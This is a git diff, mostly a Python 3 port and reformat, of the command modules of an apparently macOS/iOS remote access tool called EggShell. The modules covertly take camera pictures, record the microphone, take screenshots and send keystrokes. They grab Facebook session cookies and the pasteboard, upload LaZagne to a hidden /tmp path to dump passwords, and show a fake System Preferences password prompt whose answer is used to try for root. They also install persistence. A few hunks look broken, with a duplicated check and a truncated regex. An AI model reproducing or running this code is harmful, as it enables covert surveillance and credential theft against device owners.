usage - return - session.send_command(cmd_data) + def run(self, session, cmd_data): + if not cmd_data['args']: + print(self.usage) + return + if not cmd_data['args']: + print(usage) + return + session.send_command(cmd_data) diff --git a/modules/commands/iOS/picture_ios.py b/modules/commands/iOS/picture_ios.py index fee774b..f310bce 100644 --- a/modules/commands/iOS/picture_ios.py +++ b/modules/commands/iOS/picture_ios.py @@ -1,6 +1,11 @@ -import json, time, binascii, os +import binascii +import json +import os +import time + import modules.helper as h + class command: def __init__(self): self.name = "picture" @@ -8,35 +13,34 @@ def __init__(self): self.type = "native" self.usage = "Usage: picture front|back" - def run(self,session,cmd_data): - if not cmd_data['args'] or (cmd_data['args'] != "front" and cmd_data['args'] != "back"): - print self.usage - return - if cmd_data['args'] == "back": - cmd_data['args'] = False - else: - cmd_data['args'] = True - h.info_general("Taking picture...") - try: - response = json.loads(session.send_command(cmd_data)) - if 'success' in response: - size = int(response["size"]) - if cmd_data['args'] == False: - file_name = "back_{0}.jpg".format(int(time.time())) - else: - file_name = "front_{0}.jpg".format(int(time.time())) - data = session.sock_receive_data(size) - h.info_general("Saving {0}".format(file_name)) - # save to file - f = open(os.path.join('downloads',file_name),'w') - f.write(data) - f.close() - h.info_general("Saved to ./downloads/{0}".format(file_name)) - else: - if 'error' in response: - h.info_error(response['error']) - else: - h.info_error("Unexpected error") - except Exception as e: - print e - + def run(self, session, cmd_data): + if not cmd_data['args'] or (cmd_data['args'] != "front" and cmd_data['args'] != "back"): + print(self.usage) + return + if cmd_data['args'] == "back": + cmd_data['args'] = False + else: + cmd_data['args'] = True + h.info_general("Taking picture...") + try: + response = json.loads(session.send_command(cmd_data)) + if 'success' in response: + size = int(response["size"]) + if cmd_data['args'] == False: + file_name = "back_{0}.jpg".format(int(time.time())) + else: + file_name = "front_{0}.jpg".format(int(time.time())) + data = session.sock_receive_data(size) + h.info_general("Saving {0}".format(file_name)) + # save to file + f = open(os.path.join('downloads', file_name), 'w') + f.write(data) + f.close() + h.info_general("Saved to ./downloads/{0}".format(file_name)) + else: + if 'error' in response: + h.info_error(response['error']) + else: + h.info_error("Unexpected error") + except Exception as e: + print(str(e)) diff --git a/modules/commands/iOS/respring_ios.py b/modules/commands/iOS/respring_ios.py index 158b216..0889db9 100644 --- a/modules/commands/iOS/respring_ios.py +++ b/modules/commands/iOS/respring_ios.py @@ -1,7 +1,7 @@ class command: - def __init__(self): - self.name = "respring" - self.description = "restart springboard" + def __init__(self): + self.name = "respring" + self.description = "restart springboard" - def run(self,session,cmd_data): - session.send_command({"cmd":"killall","args":"SpringBoard"}) \ No newline at end of file + def run(self, session, cmd_data): + session.send_command({"cmd": "killall", "args": "SpringBoard"}) diff --git a/modules/commands/iOS/safemode_ios.py b/modules/commands/iOS/safemode_ios.py index 97e98c4..a5fbd22 100644 --- a/modules/commands/iOS/safemode_ios.py +++ b/modules/commands/iOS/safemode_ios.py @@ -3,9 +3,9 @@ def __init__(self): self.name = "safemode" self.description = "put device into safe mode" - def run(self,session,cmd_data): - cmd_data["cmd"] = ";" - cmd_data["args"] = "touch /var/mobile/Library/Preferences/com.saurik.mobilesubstrate.dat; killall SpringBoard" + def run(self, session, cmd_data): + cmd_data["cmd"] = ";" + cmd_data["args"] = "touch /var/mobile/Library/Preferences/com.saurik.mobilesubstrate.dat; killall SpringBoard" result = session.send_command(cmd_data) if result: - print result + print(result) diff --git a/modules/commands/iOS/say_ios.py b/modules/commands/iOS/say_ios.py index fb0ea00..1c80bdb 100644 --- a/modules/commands/iOS/say_ios.py +++ b/modules/commands/iOS/say_ios.py @@ -3,8 +3,8 @@ def __init__(self): self.name = "say" self.description = "text to speach" self.usage = "Usage: say hello" - - def run(self,session,cmd_data): - if not cmd_data['args']: - print self.usage + + def run(self, session, cmd_data): + if not cmd_data['args']: + print(self.usage) session.send_command(cmd_data) diff --git a/modules/commands/iOS/setvol.py b/modules/commands/iOS/setvol.py index a10ea63..64b6fcf 100644 --- a/modules/commands/iOS/setvol.py +++ b/modules/commands/iOS/setvol.py @@ -3,9 +3,9 @@ def __init__(self): self.name = "setvol" self.description = "set device volume" self.usage = "Usage: volume 1.0" - - def run(self,session,cmd_data): - if not cmd_data['args']: - print self.usage - return + + def run(self, session, cmd_data): + if not cmd_data['args']: + print(self.usage) + return session.send_command(cmd_data) diff --git a/modules/commands/iOS/setvol_ios.py b/modules/commands/iOS/setvol_ios.py index a10ea63..64b6fcf 100644 --- a/modules/commands/iOS/setvol_ios.py +++ b/modules/commands/iOS/setvol_ios.py @@ -3,9 +3,9 @@ def __init__(self): self.name = "setvol" self.description = "set device volume" self.usage = "Usage: volume 1.0" - - def run(self,session,cmd_data): - if not cmd_data['args']: - print self.usage - return + + def run(self, session, cmd_data): + if not cmd_data['args']: + print(self.usage) + return session.send_command(cmd_data) diff --git a/modules/commands/iOS/sysinfo_ios.py b/modules/commands/iOS/sysinfo_ios.py index e2abc73..b4618da 100644 --- a/modules/commands/iOS/sysinfo_ios.py +++ b/modules/commands/iOS/sysinfo_ios.py @@ -1,7 +1,7 @@ class command: - def __init__(self): - self.name = "sysinfo" - self.description = "view system information" - - def run(self,session,cmd_data): - print session.send_command(cmd_data) + def __init__(self): + self.name = "sysinfo" + self.description = "view system information" + + def run(self, session, cmd_data): + print(session.send_command(cmd_data)) diff --git a/modules/commands/iOS/vibrate_ios.py b/modules/commands/iOS/vibrate_ios.py index 53391d4..1c8b665 100644 --- a/modules/commands/iOS/vibrate_ios.py +++ b/modules/commands/iOS/vibrate_ios.py @@ -1,7 +1,7 @@ class command: - def __init__(self): - self.name = "vibrate" - self.description = "vibrate device" + def __init__(self): + self.name = "vibrate" + self.description = "vibrate device" - def run(self,session,cmd_data): - session.send_command(cmd_data) + def run(self, session, cmd_data): + session.send_command(cmd_data) diff --git a/modules/commands/local/clear.py b/modules/commands/local/clear.py index b1af93d..8b2230f 100644 --- a/modules/commands/local/clear.py +++ b/modules/commands/local/clear.py @@ -1,10 +1,10 @@ import os + class command: def __init__(self): self.name = "clear" self.description = "clear terminal" - - def run(self,session,cmd_data): - os.system('clear') + def run(self, session, cmd_data): + os.system('clear') diff --git a/modules/commands/local/local.py b/modules/commands/local/local.py index 539ab66..549c220 100644 --- a/modules/commands/local/local.py +++ b/modules/commands/local/local.py @@ -1,14 +1,15 @@ import os from os.path import expanduser + class command: def __init__(self): self.name = "local" self.description = "Run local shell commands" - - def run(self,session,cmd_data): + + def run(self, session, cmd_data): if not cmd_data['args']: - print "Usage: local shell commands" + print("Usage: local shell commands") return else: split_args = cmd_data['args'].split() @@ -18,5 +19,4 @@ def run(self,session,cmd_data): path = expanduser("~") os.chdir(path) else: - os.system(cmd_data['args']) - + os.system(cmd_data['args']) diff --git a/modules/commands/macOS/brightness_macos.py b/modules/commands/macOS/brightness_macos.py index f4d774c..36123d9 100644 --- a/modules/commands/macOS/brightness_macos.py +++ b/modules/commands/macOS/brightness_macos.py @@ -4,11 +4,11 @@ def __init__(self): self.description = "adjust screen brightness" self.usage = "Usage: brightness 0.x" self.type = "native" - - def run(self,session,cmd_data): + + def run(self, session, cmd_data): try: float(cmd_data["args"]) except: - print self.usage + print(self.usage) return session.send_command(cmd_data) diff --git a/modules/commands/macOS/getfacebook.py b/modules/commands/macOS/getfacebook.py index 7c1107c..1e75f4a 100644 --- a/modules/commands/macOS/getfacebook.py +++ b/modules/commands/macOS/getfacebook.py @@ -3,5 +3,5 @@ def __init__(self): self.name = "getfacebook" self.description = "retrieve facebook session cookies" - def run(self,session,cmd_data): - print session.send_command(cmd_data) + def run(self, session, cmd_data): + print(session.send_command(cmd_data)) diff --git a/modules/commands/macOS/getfacebook_macos.py b/modules/commands/macOS/getfacebook_macos.py index 7c1107c..1e75f4a 100644 --- a/modules/commands/macOS/getfacebook_macos.py +++ b/modules/commands/macOS/getfacebook_macos.py @@ -3,5 +3,5 @@ def __init__(self): self.name = "getfacebook" self.description = "retrieve facebook session cookies" - def run(self,session,cmd_data): - print session.send_command(cmd_data) + def run(self, session, cmd_data): + print(session.send_command(cmd_data)) diff --git a/modules/commands/macOS/getpaste_macos.py b/modules/commands/macOS/getpaste_macos.py index 6cbd8ce..7d79ea9 100644 --- a/modules/commands/macOS/getpaste_macos.py +++ b/modules/commands/macOS/getpaste_macos.py @@ -4,5 +4,5 @@ def __init__(self): self.description = "get pasteboard contents" self.type = "native" - def run(self,session,cmd_data): - print session.send_command(cmd_data) + def run(self, session, cmd_data): + print(session.send_command(cmd_data)) diff --git a/modules/commands/macOS/getvol_macos.py b/modules/commands/macOS/getvol_macos.py index afd64b9..3e81700 100644 --- a/modules/commands/macOS/getvol_macos.py +++ b/modules/commands/macOS/getvol_macos.py @@ -1,11 +1,13 @@ import json + + class command: def __init__(self): self.name = "getvol" self.description = "get speaker output volume" - self.type = "applescript" + self.type = "applescript" - def run(self,session,cmd_data): + def run(self, session, cmd_data): payload = "output volume of (get volume settings)" - cmd_data.update({"cmd":"applescript","args":payload}) - print session.send_command(cmd_data) + cmd_data.update({"cmd": "applescript", "args": payload}) + print(session.send_command(cmd_data)) diff --git a/modules/commands/macOS/idletime_macos.py b/modules/commands/macOS/idletime_macos.py index 7f477f7..ca8d7f9 100644 --- a/modules/commands/macOS/idletime_macos.py +++ b/modules/commands/macOS/idletime_macos.py @@ -4,5 +4,5 @@ def __init__(self): self.description = "get the amount of time since the keyboard/cursor were touched" self.type = "native" - def run(self,session,cmd_data): - print session.send_command(cmd_data) + def run(self, session, cmd_data): + print(session.send_command(cmd_data)) diff --git a/modules/commands/macOS/imessage_macos.py b/modules/commands/macOS/imessage_macos.py index fafa5bd..3577eaa 100644 --- a/modules/commands/macOS/imessage_macos.py +++ b/modules/commands/macOS/imessage_macos.py @@ -4,19 +4,19 @@ def __init__(self): self.description = "send message through the messages app" self.type = "applescript" - def run(self,session,cmd_data): - #do something with session if you want - #we can prompt for input + def run(self, session, cmd_data): + # do something with session if you want + # we can prompt for input phone = raw_input("[*] Enter iMessage recipient: ") message = raw_input("[*] Enter message: ") - #send applescript payload + # send applescript payload payload = """tell application "Messages" set targetService to 1st service whose service type = iMessage - set targetBuddy to buddy \""""+phone+"""\" of targetService - send \""""+message+"""\" to targetBuddy + set targetBuddy to buddy \"""" + phone + """\" of targetService + send \"""" + message + """\" to targetBuddy end tell""" - cmd_data.update({"args":payload}) - cmd_data.update({"cmd":self.type}) + cmd_data.update({"args": payload}) + cmd_data.update({"cmd": self.type}) result = session.send_command(cmd_data) if result and result != "(null)": - print result + print(result) diff --git a/modules/commands/macOS/itunes_macos.py b/modules/commands/macOS/itunes_macos.py index ce0f6be..d452533 100644 --- a/modules/commands/macOS/itunes_macos.py +++ b/modules/commands/macOS/itunes_macos.py @@ -4,32 +4,32 @@ def __init__(self): self.description = "iTunes Controller" self.type = "applescript" - def run(self,session,cmd_data): - if cmd_data['args'] == "next": - payload = """ + def run(self, session, cmd_data): + if cmd_data['args'] == "next": + payload = """ tell application \"iTunes\" - with timeout of 2 seconds + with timeout of 2 seconds next track end timeout end tell""" elif cmd_data['args'] == "prev": - payload = """ + payload = """ tell application \"iTunes\" - with timeout of 2 seconds + with timeout of 2 seconds previous track end timeout end tell""" elif cmd_data['args'] == "pause": - payload = """ + payload = """ tell application \"iTunes\" - with timeout of 2 seconds + with timeout of 2 seconds pause end timeout end tell""" - elif cmd_data['args'] == "play": - payload = """ + elif cmd_data['args'] == "play": + payload = """ tell application \"iTunes\" - with timeout of 2 seconds + with timeout of 2 seconds play end timeout end tell""" @@ -43,7 +43,7 @@ def run(self,session,cmd_data): end tell """ elif cmd_data['args'] == "info": - payload = """ + payload = """ tell application "iTunes" with timeout of 5 seconds if player state is paused then @@ -57,9 +57,9 @@ def run(self,session,cmd_data): end timeout end tell""" else: - print "Usage: itunes play|pause|next|prev|info|airplay" + print("Usage: itunes play|pause|next|prev|info|airplay") return - cmd_data.update({"cmd":"applescript","args":payload}) + cmd_data.update({"cmd": "applescript", "args": payload}) result = session.send_command(cmd_data) if result: - print result + print(result) diff --git a/modules/commands/macOS/keyboard_macos.py b/modules/commands/macOS/keyboard_macos.py index 9b47274..6797daf 100644 --- a/modules/commands/macOS/keyboard_macos.py +++ b/modules/commands/macOS/keyboard_macos.py @@ -1,13 +1,16 @@ -import time import base64 import json +import time + try: # Win32 from msvcrt import getch except ImportError: # UNIX def getch(): - import sys, tty, termios + import sys + import tty + import termios fd = sys.stdin.fileno() old = termios.tcgetattr(fd) try: @@ -16,6 +19,7 @@ def getch(): finally: termios.tcsetattr(fd, termios.TCSADRAIN, old) + class command: def __init__(self): self.name = "keyboard" @@ -23,17 +27,16 @@ def __init__(self): self.type = "applescript" self.id = 115 - def run(self,session,cmd_data): - #do something with conn if you want - print "type CTRL c to quit" - print "start typing..." + def run(self, session, cmd_data): + # do something with conn if you want + print("type CTRL c to quit") + print("start typing...") while 1: key = getch() if key == chr(03): return "" payload = """tell application "System Events" - keystroke \""""+key+"""\" + keystroke \"""" + key + """\" end tell""" - session.send_command({"cmd":"applescript","args":payload}) + session.send_command({"cmd": "applescript", "args": payload}) return "" - diff --git a/modules/commands/macOS/lazagne_macos.py b/modules/commands/macOS/lazagne_macos.py index 9d2b6d8..3de3922 100644 --- a/modules/commands/macOS/lazagne_macos.py +++ b/modules/commands/macOS/lazagne_macos.py @@ -1,16 +1,19 @@ -import modules import os +import modules + + class command: def __init__(self): self.name = "lazagne" self.description = "firefox password retrieval | (https://github.com/AlessandroZ/LaZagne/wiki)" self.type = "custom" - - def run(self,session,cmd_data): - print "Uploading ..." - session.upload_file("resources/lazagne_macos.zip","/tmp",".lazagne_macos.zip") - print "Running ..." + + def run(self, session, cmd_data): + print("Uploading ...") + session.upload_file("resources/lazagne_macos.zip", + "/tmp", ".lazagne_macos.zip") + print("Running ...") payload = "/tmp/.lazagne_macos.zip -d /tmp/.lazagne >/dev/null;rm /tmp/.lazagne_macos.zip;/usr/bin/python /tmp/.lazagne/lazagne_macos/laZagne.py all;rm -rf /tmp/.lazagne" - result = session.send_command({"cmd":"unzip","args":payload}) - print result + result = session.send_command({"cmd": "unzip", "args": payload}) + print(result) diff --git a/modules/commands/macOS/mic_macos.py b/modules/commands/macOS/mic_macos.py index 9d4f2f0..0e90fad 100644 --- a/modules/commands/macOS/mic_macos.py +++ b/modules/commands/macOS/mic_macos.py @@ -1,15 +1,17 @@ -import modules.helper as h import json -import time import os +import time + +import modules.helper as h + class command: def __init__(self): self.name = "mic" self.description = "record mic" - - def run(self,session,cmd_data): - # #print output + + def run(self, session, cmd_data): + # #print output if cmd_data["args"] == "stop": # expect json result = json.loads(session.send_command(cmd_data)) @@ -21,12 +23,12 @@ def run(self,session,cmd_data): # save to file file_name = "mic{0}.caf".format(str(int(time.time()))) h.info_general("Saving {0}".format(file_name)) - f = open(os.path.join('downloads',file_name),'w') + f = open(os.path.join('downloads', file_name), 'w') f.write(data) f.close() h.info_general("Saved to ./downloads/{0}".format(file_name)) - + elif cmd_data["args"] == "record": h.info_general(session.send_command(cmd_data)) else: - print "Usage: mic record/stop" + print("Usage: mic record/stop") diff --git a/modules/commands/macOS/picture_macos.py b/modules/commands/macOS/picture_macos.py index 40a8fba..b4d6d26 100644 --- a/modules/commands/macOS/picture_macos.py +++ b/modules/commands/macOS/picture_macos.py @@ -1,27 +1,31 @@ -import json, time, binascii, os +import binascii +import json +import os +import time + import modules.helper as h + class command: def __init__(self): self.name = "picture" self.description = "take picture through iSight" self.type = "native" - def run(self,session,cmd_data): - h.info_general("Taking picture...") - response = json.loads(session.send_command(cmd_data)) - try: - success = response["status"] - if success == 1: - size = int(response["size"]) - file_name = "isight_{0}.jpg".format(int(time.time())) - data = session.sock_receive_data(size) - h.info_general("Saving {0}".format(file_name)) - # save to file - f = open(os.path.join('downloads',file_name),'w') - f.write(data) - f.close() - h.info_general("Saved to ./downloads/{0}".format(file_name)) - except Exception as e: - print e - + def run(self, session, cmd_data): + h.info_general("Taking picture...") + response = json.loads(session.send_command(cmd_data)) + try: + success = response["status"] + if success == 1: + size = int(response["size"]) + file_name = "isight_{0}.jpg".format(int(time.time())) + data = session.sock_receive_data(size) + h.info_general("Saving {0}".format(file_name)) + # save to file + f = open(os.path.join('downloads', file_name), 'w') + f.write(data) + f.close() + h.info_general("Saved to ./downloads/{0}".format(file_name)) + except Exception as e: + print(str(e)) diff --git a/modules/commands/macOS/prompt_macos.py b/modules/commands/macOS/prompt_macos.py index 4038d96..45278ce 100644 --- a/modules/commands/macOS/prompt_macos.py +++ b/modules/commands/macOS/prompt_macos.py @@ -1,20 +1,22 @@ -import time import json +import time + import modules.helper as h + class command: def __init__(self): self.name = "prompt" self.description = "prompt user to type password" self.type = "applescript" - def run(self,session,cmd_data): + def run(self, session, cmd_data): payload = """ tell application "Finder" activate set myprompt to "Type your password to allow System Preferences to make changes" - + set ans to "Cancel" repeat @@ -25,24 +27,25 @@ def run(self,session,cmd_data): if mypass > "" then exit repeat end try end repeat - + try do shell script "echo " & quoted form of mypass end try end tell """ - cmd_data.update({"cmd":"applescript","args":payload}) + cmd_data.update({"cmd": "applescript", "args": payload}) password = session.send_command(cmd_data).strip() - #display response - print h.COLOR_INFO+"[*] "+h.WHITE+"Response: "+h.GREEN+password+h.WHITE - #prompt for root + # display response + print(h.COLOR_INFO + "[*] " + h.WHITE + + "Response: " + h.GREEN + password + h.WHITE) + # prompt for root tryroot = raw_input("Would you like to try for root? (Y/n) ") tryroot = tryroot if tryroot else "y" if tryroot.lower() != "y": return "" - #TODO: I am so lazy, probably should use the su command - password = password.replace("\\","\\\\").replace("'","\\'") - cmd_data.update({"cmd":"eggsu","args":password}) + # TODO: I am so lazy, probably should use the su command + password = password.replace("\\", "\\\\").replace("'", "\\'") + cmd_data.update({"cmd": "eggsu", "args": password}) result = session.send_command(cmd_data) if "root" in result: h.info_general("Root Granted") @@ -53,6 +56,5 @@ def run(self,session,cmd_data): else: session.needs_refresh = True else: - print "failed getting root" + print("failed getting root") return "" - diff --git a/modules/commands/macOS/screenshot_macos.py b/modules/commands/macOS/screenshot_macos.py index 329a8c1..3e906dc 100644 --- a/modules/commands/macOS/screenshot_macos.py +++ b/modules/commands/macOS/screenshot_macos.py @@ -1,26 +1,28 @@ import json -import time import os +import time + import modules.helper as h + class command: def __init__(self): self.name = "screenshot" self.description = "take screenshot" self.type = "native" - def run(self,session,cmd_data): - result = json.loads(session.send_command(cmd_data)) - if 'error' in result: - h.info_error(result['error']) - return - elif 'size' in result: - size = int(result['size']) - data = session.sock_receive_data(size) - file_name = "screenshot_{0}.jpg".format(int(time.time())) - h.info_general("Saving {0}".format(file_name)) - # save to file - f = open(os.path.join('downloads',file_name),'w') - f.write(data) - f.close() - h.info_general("Saved to ./downloads/{0}".format(file_name)) + def run(self, session, cmd_data): + result = json.loads(session.send_command(cmd_data)) + if 'error' in result: + h.info_error(result['error']) + return + elif 'size' in result: + size = int(result['size']) + data = session.sock_receive_data(size) + file_name = "screenshot_{0}.jpg".format(int(time.time())) + h.info_general("Saving {0}".format(file_name)) + # save to file + f = open(os.path.join('downloads', file_name), 'w') + f.write(data) + f.close() + h.info_general("Saved to ./downloads/{0}".format(file_name)) diff --git a/modules/commands/macOS/setvol.py b/modules/commands/macOS/setvol.py index e3709ae..99fe2eb 100644 --- a/modules/commands/macOS/setvol.py +++ b/modules/commands/macOS/setvol.py @@ -2,13 +2,13 @@ class command: def __init__(self): self.name = "setvol" self.description = "set output volume" - - def run(self,session,cmd_data): + + def run(self, session, cmd_data): if not cmd_data['args']: - print "Usage: setvol 0-100" + print("Usage: setvol 0-100") return -1 - payload = "set volume output volume "+cmd_data['args'] - cmd_data.update({"cmd":"applescript","args":payload}) + payload = "set volume output volume " + cmd_data['args'] + cmd_data.update({"cmd": "applescript", "args": payload}) result = session.send_command(cmd_data) if result: - print result \ No newline at end of file + print(result) diff --git a/modules/commands/macOS/setvol_macos.py b/modules/commands/macOS/setvol_macos.py index e3709ae..99fe2eb 100644 --- a/modules/commands/macOS/setvol_macos.py +++ b/modules/commands/macOS/setvol_macos.py @@ -2,13 +2,13 @@ class command: def __init__(self): self.name = "setvol" self.description = "set output volume" - - def run(self,session,cmd_data): + + def run(self, session, cmd_data): if not cmd_data['args']: - print "Usage: setvol 0-100" + print("Usage: setvol 0-100") return -1 - payload = "set volume output volume "+cmd_data['args'] - cmd_data.update({"cmd":"applescript","args":payload}) + payload = "set volume output volume " + cmd_data['args'] + cmd_data.update({"cmd": "applescript", "args": payload}) result = session.send_command(cmd_data) if result: - print result \ No newline at end of file + print(result) diff --git a/modules/commands/macOS/sleep_macos.py b/modules/commands/macOS/sleep_macos.py index 91aa873..62a86d7 100644 --- a/modules/commands/macOS/sleep_macos.py +++ b/modules/commands/macOS/sleep_macos.py @@ -3,9 +3,9 @@ def __init__(self): self.name = "sleep" self.description = "put device into sleep mode" - def run(self,session,cmd_data): - cmd_data["cmd"] = "osascript" - cmd_data["args"] = " -e 'tell application \"Finder\" to sleep'" + def run(self, session, cmd_data): + cmd_data["cmd"] = "osascript" + cmd_data["args"] = " -e 'tell application \"Finder\" to sleep'" result = session.send_command(cmd_data) if result: - print result + print result diff --git a/modules/commands/macOS/su_macos.py b/modules/commands/macOS/su_macos.py index 383760d..1f0de21 100644 --- a/modules/commands/macOS/su_macos.py +++ b/modules/commands/macOS/su_macos.py @@ -1,17 +1,19 @@ -import time import getpass +import time + import modules.helper as h + class command: def __init__(self): self.name = "su" self.description = "su login" self.type = "eggsu" - def run(self,session,cmd_data): + def run(self, session, cmd_data): password = getpass.getpass("Password: ") cmd_data['args'] = password - password = password.replace("\\","\\\\").replace("'","\\'") + password = password.replace("\\", "\\\\").replace("'", "\\'") cmd_data['cmd'] = "eggsu" result = session.send_command(cmd_data) if "root" in result: @@ -23,4 +25,4 @@ def run(self,session,cmd_data): else: session.needs_refresh = True else: - print "failed getting root" + print("failed getting root") diff --git a/modules/commands/macOS/suspend_macos.py b/modules/commands/macOS/suspend_macos.py index f3970c8..9ab0dca 100644 --- a/modules/commands/macOS/suspend_macos.py +++ b/modules/commands/macOS/suspend_macos.py @@ -3,9 +3,9 @@ def __init__(self): self.name = "suspend" self.description = "suspend current session (goes back to login screen)" - def run(self,session,cmd_data): - cmd_data["cmd"] = ";" - cmd_data["args"] = '/System/Library/CoreServices/Menu\ Extras/User.menu/Contents/Resources/CGSession -suspend' + def run(self, session, cmd_data): + cmd_data["cmd"] = ";" + cmd_data["args"] = '/System/Library/CoreServices/Menu\ Extras/User.menu/Contents/Resources/CGSession -suspend' result = session.send_command(cmd_data) if result: - print result + print(result) diff --git a/modules/commands/universal/cd_universal.py b/modules/commands/universal/cd_universal.py index 8b64eed..6a5658b 100644 --- a/modules/commands/universal/cd_universal.py +++ b/modules/commands/universal/cd_universal.py @@ -1,16 +1,19 @@ -from modules import helper as h import json +from modules import helper as h + + class command: def __init__(self): self.name = "cd" self.description = "change directory" - - def run(self,session,cmd_data): + + def run(self, session, cmd_data): result = json.loads(session.send_command(cmd_data)) if 'error' in result: - h.info_error(result['error']) + h.info_error(result['error']) elif 'current_directory' in result: - session.current_directory = result['current_directory'].encode('utf-8') + session.current_directory = result['current_directory'].encode( + 'utf-8') else: - h.info_error('unable to get current directory') \ No newline at end of file + h.info_error('unable to get current directory') diff --git a/modules/commands/universal/download_universal.py b/modules/commands/universal/download_universal.py index 195ab03..51bbbdf 100644 --- a/modules/commands/universal/download_universal.py +++ b/modules/commands/universal/download_universal.py @@ -1,25 +1,27 @@ import json import os + import modules.helper as h + class command: - def __init__(self): - self.name = "download" - self.description = "download file" - self.usage = "Usage: download file" - self.type = "native" + def __init__(self): + self.name = "download" + self.description = "download file" + self.usage = "Usage: download file" + self.type = "native" - def run(self,session,cmd_data): - if not cmd_data['args']: - print self.usage - return - file_name = os.path.split(cmd_data['args'])[-1] - h.info_general("Downloading {0}".format(file_name)) - data = session.download_file(cmd_data['args']) - if data: - # save to downloads - h.info_general("Saving {0}".format(file_name)) - f = open(os.path.join('downloads',file_name),'w') - f.write(data) - f.close() - h.info_general("Saved to ./downloads/{0}".format(file_name)) + def run(self, session, cmd_data): + if not cmd_data['args']: + print(self.usage) + return + file_name = os.path.split(cmd_data['args'])[-1] + h.info_general("Downloading {0}".format(file_name)) + data = session.download_file(cmd_data['args']) + if data: + # save to downloads + h.info_general("Saving {0}".format(file_name)) + f = open(os.path.join('downloads', file_name), 'w') + f.write(data) + f.close() + h.info_general("Saved to ./downloads/{0}".format(file_name)) diff --git a/modules/commands/universal/ls_universal.py b/modules/commands/universal/ls_universal.py index 148d205..f292a15 100644 --- a/modules/commands/universal/ls_universal.py +++ b/modules/commands/universal/ls_universal.py @@ -1,25 +1,27 @@ import json + import modules.helper as h + class command: def __init__(self): self.name = "ls" self.description = "list contents of a directory" self.usage = "Usage: ls directory/path/" - - def run(self,session,cmd_data): + + def run(self, session, cmd_data): if not cmd_data['args']: cmd_data['args'] = '.' data = session.send_command(cmd_data) try: contents = json.loads(data) except: - print data + print(data) return keys = contents.keys() keys.sort() for k in keys: if contents[k] == 4 or contents[k] == 10: - print h.COLOR_INFO + k + h.ENDC + print(h.COLOR_INFO + k + h.ENDC) else: - print k + print(k) diff --git a/modules/commands/universal/persistence_macos.py b/modules/commands/universal/persistence_macos.py index 5d115fb..e586f45 100644 --- a/modules/commands/universal/persistence_macos.py +++ b/modules/commands/universal/persistence_macos.py @@ -1,19 +1,20 @@ import modules.helper as h + class command: def __init__(self): self.name = "persistence" self.description = "attempts to re establish connection after close" self.usage = "Usage: persistence install|uninstall" - def run(self,session,cmd_data): + def run(self, session, cmd_data): if cmd_data['args'] == "install": h.info_general("Installing...") elif cmd_data['args'] == "uninstall": h.info_general("Uninstalling...") else: - print self.usage + print(self.usage) return result = session.send_command(cmd_data) if result: - h.info_error(result) \ No newline at end of file + h.info_error(result) diff --git a/modules/commands/universal/pid_universal.py b/modules/commands/universal/pid_universal.py index 0050174..2eb2d05 100644 --- a/modules/commands/universal/pid_universal.py +++ b/modules/commands/universal/pid_universal.py @@ -4,5 +4,5 @@ def __init__(self): self.description = "get process id" self.type = "native" - def run(self,session,cmd_data): - print session.send_command(cmd_data) + def run(self, session, cmd_data): + print(session.send_command(cmd_data)) diff --git a/modules/commands/universal/pwd_universal.py b/modules/commands/universal/pwd_universal.py index 99d323b..ed32dcc 100644 --- a/modules/commands/universal/pwd_universal.py +++ b/modules/commands/universal/pwd_universal.py @@ -2,6 +2,6 @@ class command: def __init__(self): self.name = "pwd" self.description = "show current directory" - - def run(self,session,cmd_data): - print session.send_command(cmd_data) \ No newline at end of file + + def run(self, session, cmd_data): + print(session.send_command(cmd_data)) diff --git a/modules/commands/universal/upload_universal.py b/modules/commands/universal/upload_universal.py index 95f26a1..6a99501 100644 --- a/modules/commands/universal/upload_universal.py +++ b/modules/commands/universal/upload_universal.py @@ -1,25 +1,28 @@ +import os +import re + import modules.helper as h -import re, os + class command: def __init__(self): self.name = "upload" self.description = "upload file" self.usage = "Usage: upload path/to/localfile upload/path" - - def run(self,session,cmd_data): + + def run(self, session, cmd_data): if not cmd_data['args']: - print self.usage + print(self.usage) return else: paths = re.split(r'(? 2: - print "USAGE" + print("USAGE") return - + local_dir = os.path.split(paths[0])[0] local_file = os.path.split(paths[0])[1] - + if len(paths) == 1: remote_dir = "." remote_file = local_file @@ -31,5 +34,5 @@ def run(self,session,cmd_data): if not remote_file: remote_file = local_file - session.upload_file(paths[0],remote_dir,remote_file) + session.upload_file(paths[0], remote_dir, remote_file) h.info_general("Done") diff --git a/modules/helper.py b/modules/helper.py index d1e76f8..3f43591 100644 --- a/modules/helper.py +++ b/modules/helper.py @@ -1,13 +1,13 @@ -#Helper -#created by lucas.py -#3-5-17 -import sys +# Helper +# created by lucas.py +# 3-5-17 import base64 import os import socket +import sys WINDOWS = sys.platform.startswith('win') -#colors +# colors GREEN = '' if WINDOWS else '\033[1;92m' RED = '' if WINDOWS else '\033[1;91m' WHITE = '' if WINDOWS else '\033[0;97m' @@ -18,8 +18,8 @@ UNDERLINE_GREEN = '' if WINDOWS else '\033[4;92m' WHITEBU = '' if WINDOWS else '\033[1;4m' COLOR_INFO = '' if WINDOWS else '\033[0;36m' -NES = ('SELECT' if WINDOWS else '\033[0;32m')+"EggShell"+WHITE+"> " -#cmds +NES = ('SELECT' if WINDOWS else '\033[0;32m') + "EggShell" + WHITE + "> " +# cmds CMD_CLEAR = 'cls' if WINDOWS else 'clear' CMD_PWD = 'cd' if WINDOWS else 'pwd' CMD_LS = 'dir' if WINDOWS else 'ls' @@ -30,23 +30,23 @@ def clear(): def info_general(string): - print "{0}[*] {1}{2}".format(COLOR_INFO,WHITE,string) + print("{0}[*] {1}{2}".format(COLOR_INFO, WHITE, string)) def info_general_raw(string): - return "{0}[*] {1}{2}".format(COLOR_INFO,WHITE,string) - + return("{0}[*] {1}{2}".format(COLOR_INFO, WHITE, string)) + def info_error(string): - print "{0}[*] {1}{2}".format(RED,WHITE,string) + print("{0}[*] {1}{2}".format(RED, WHITE, string)) def info_warning(string): - print "{0}[*] {1}{2}".format(YELLOW,WHITE,string) + print("{0}[*] {1}{2}".format(YELLOW, WHITE, string)) def show_command(mod): - print mod.name + " " * (15 - len(mod.name)) + ": " + mod.description + print(mod.name + " " * (15 - len(mod.name)) + ": " + mod.description) def b64(s): @@ -55,7 +55,10 @@ def b64(s): def getip(): try: - s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM);s.connect(("192.168.1.1",80));host = s.getsockname()[0];s.close() + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + s.connect(("192.168.1.1", 80)) + host = s.getsockname()[0] + s.close() host = host except: host = "127.0.0.1" @@ -79,13 +82,11 @@ def 